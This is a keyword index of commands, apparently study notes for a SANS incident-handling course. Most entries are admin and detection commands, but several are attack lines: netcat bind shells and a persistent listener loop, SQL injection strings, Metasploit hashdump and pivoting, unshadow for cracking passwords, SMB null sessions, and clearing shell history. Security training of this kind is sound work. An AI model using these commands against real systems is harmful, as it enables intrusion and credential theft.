Index - Cmds By Keyword (SANS 504-B)

' or '1'='1 | sqli to test for suseptibility...(4 / 130)

admin' union select pswd from users where username='admin';-- | xxs / sqli combo to extract hash of admin user...(4 / 131)

arp -a | Linux displays ARP enteries...(1 / 256)

arp -a | View the local host ARP cache for signs of session hijacking...(3 / 75)

arp -e | Linux shows ARP cache in Linux style...(3 / 75)

at | Windows scheduled task cli...(1 / 73)

base64 --decode | Decodes a base-64 string (e.g. echo xxcxxxc | base64 --decode)...(5 / 147)

cache: | Search dir /extract cached copy of specified page...(2 / 39)

Counting Processes in Windows | see page for code samples...(4 / 172)

crontab | Linux displays scheduled tasks...(1 / 257)

Ctrl + z | Backgrounds metaterperter session...(3 / 122)

curl | Perl cmd used to call a web site via cli...(4 / 84)

df | Linux displays available drive space...(1 / 261)

dir /r /s c:\tmp | Detect ADS on Win Vista +...(5 / 115)

exploit | msfconsole command to execute the configured exploit...(3 / 178)

Filetype: | Search dir finds file extension results (e.g. filetype:pdf)...(2 / 40)

find | Linux used to locate specific text...(1 / 232)

Format String Attacks | %x Writes memory to logs or screen depending on settings...(3 / 164)

getuid | msfconsole displays the current user contexts ID...(3 / 181)

grep -i | searches for the case-insensitive string that follows in the target file...(3 / 80)

hashdump | msfconsole cmd to extract the hashs from the remote host...(3 / 184)

history -c | Linux clear command histroy...(1 / 211)

id | Linux displays details about the logged in user...(1 / 215)

ifconfig eth0 IP/CIRD | Linux sets adapter ipaddress for the session...(3 / 173)

info exploitpath/exploit | MSFConsole cmd displays info for requested exploit...(3 / 175)

info: | Seach dir for cached/related/linked pgs (not often useful)...(2 / 37)

intitle: | search directive filters results to page titles...(2 / 37)

inurl: | search directive filters results to specified URL string (e.g. /admin/)...(2 / 37)

Index - Cmds By Keyword (SANS 504-B)

ipconfig /displaydns | Windows dispalys ARP cache contents for signs of session hijack...(3 / 75)

iptables -F | Linux flushes Iptables settings from host...(3 / 167)

kill PID | Linux kills the service running on specificed PID...(2 / 104)

less | used to display details of long files more managabily...(1 / 225)

link: | search dir filters results to ext sites linked to domain...(2 / 37)

lsof -i | Linux Port Listener Listing...(1 / 56)

lsof -i | Linux shows listening ports...(1 / 238)

lsof -p PID | Linux displays all files associated with listening port...(2 / 103)

msfconsole -q | starts msfconsole without the banner...(3 / 180)

nbtstat - S | NetBIOS ofver TCP/IP...(1 / 65)

nc -l -p port -e /bin/sh | Linux est interactive shell on remote host...(3 / 15)

nc -l -p port -e cmd.exe | Windows est interactive shell on remote host...(3 / 15)

nc -l -p portnum < filename | Data Transfer / moves a file from listener to client...(3 / 12)

nc -v -w3 -z IP startport-endport | Port and Vuln scans w/ Netcat...(3 / 13)

ncpa.cpl | Launches windows Client for Networks...(2 / 156)

Nessus - https://localhost:8834 & | open web console as background process...(2 / 131)

Nessus - sudo systemctl start nessusd | state service...(2 / 131)

Nessus - sudo systemctl stop nessusd | Stops Nessus Service...(2 / 140)

net localgroup | Windows displays all local grp mbrs from CLI...(1 / 71)

net session | shows who has session on win host...(2 / 150)

net session | View open Sessions...(1 / 65)

net session \\IP /del | Drops inbound session to host...(2 / 150)

net start | Windows Services...(1 / 68)

net use * /del | Drops all outbound sessions to host...(2 / 150)

net use \\IP | SMB est a connection as current user...(2 / 143)

net use \\IP "" /u:"" | SMB Null User Session connection...(2 / 143)

net use \\IP /del | Terminates outbound SMB share connection...(2 / 150)

net use \\IP\SHARE\ password /u: username | Connect to SMB share as a different user...(2 / 143)

net user /domain >> users.txt | enums all users in domain and write to a txt file...(2 / 145)

Index - Cmds By Keyword (SANS 504-B)

net user username * /add | Windows add user via cli and prompt to set pswd now...(2 / 158)

net users | Windows Displays all users from the cli...(1 / 71)

net view | View file shares...(1 / 65)

net view \\IP | Used post net use to show all established host shares...(2 / 144)

netsh advfirewall | Windows CLI to set state of Win FW to off...(1 / 91)

netstat - naob | Listener Conversations w/ Binaries...(1 / 55)

netstat - nap | Linux shows listening ports...(1 / 238)

netstat -b | Shows Exe and associated DLLs of a process...(1 / 66)

netstat -na | listening ports (tcp/udp)...(1 / 66)

netstat -nao | NetBIOS SMB listeners w/ owning process...(1 / 66)

netstat -naob | show PID, EXE, and DLLs in use...(2 / 101)

netstat -nap | Linux shows listening ports, PID, and program names...(2 / 103)

Nmap -A IP | perfoms OS, Ver, script-scan, & tracert...(2 / 108)

Nmap --reason IP | Usage / purpose to show portstate reason...(2 / 107)

nohup ./listener.sh & | Linux runs shell without terminal window in background...(3 / 16)

passwd | Linux used to set a users password...(1 / 214)

ps | Linux used to list all running processes...(1 / 125)

rekal -f /file-location/memdumpfile.dd | rekal memory analysis start-up...(5 / 24)

related: | search directive shows simular pages (loose query)...(2 / 37)

route add pivotIP 255.255.255.255 sessionID | Metasploit add a pivot point route stmt...(3 / 122)

rpcclient -U username IP | Samba RPC client connection to Win Host...(2 / 149)

runas | windows syntax for runing tasks as an alternate user ID...(1 / 89)

sc config servicename start= disabled | sets a service start-up to disabled...(2 / 102)

sc query | Lists all running services...(2 / 102)

sc query | Windows show service details...(1 / 68)

sc stop servicename | Windows stops a running service / listener...(2 / 102)

schtasks | Windows scheduled tasks via CLI...(1 / 73)

schtasks /delete | Windows cli for deleting a scheduled task...(1 / 86)

schtasks | more | Windows cli for discovering schedule tasks...(1 / 86)

Index - Cmds By Keyword (SANS 504-B)

search type:exploit exploitinfo_or_cve# | msfconsole searches for path to exploits that match seach string...(3 / 175)

services.msc | Launches windows services control panel...(2 / 157)

sessions -l | msfconsole displays all active sessions...(3 / 181)

shell | msfconsole for remote shell access on host...(3 / 185)

site: | Search directive / results filtered within specified domain...(2 / 37)

SMB Password Spraying | See Script on page...(2 / 145)

smbclient -L IP -U username -p 445 | Linus establishing a SMB share to Windows Host...(2 / 148)

srvinfo | rpcclient sub-cmd displays SMB host OS version...(2 / 164)

su - | Sudo as Super User Root...(1 / 154)

sudo su - | Linux to change to the user root...(1 / 215)

tar xvf | Extracts compressed files from a Tar Ball...(1 / 240)

unshadow pswd.txt shadow.txt > combined.txt | Linux returns user names and passwords...(4 / 35)

useradd | Linux command to add a user...(1 / 213)

wevent qe security | Windows GUI Event log query of security events...(1 / 188)

wget | used to call a website via cli...(4 / 84)

while [1]; do echo "Started"; nc -l -p port -e /bin/sh; done | Linux shell script for persistant listener...(3 / 16)

whoami | Linux to display the current logged in user...(1 / 215)

wmic - startup | CLI method for displaying startup list...(1 / 70)

wmic /node | Windows get system inventory using wmic cli...(1 / 137)

wmic pid delete | kills a running process...(2 / 102)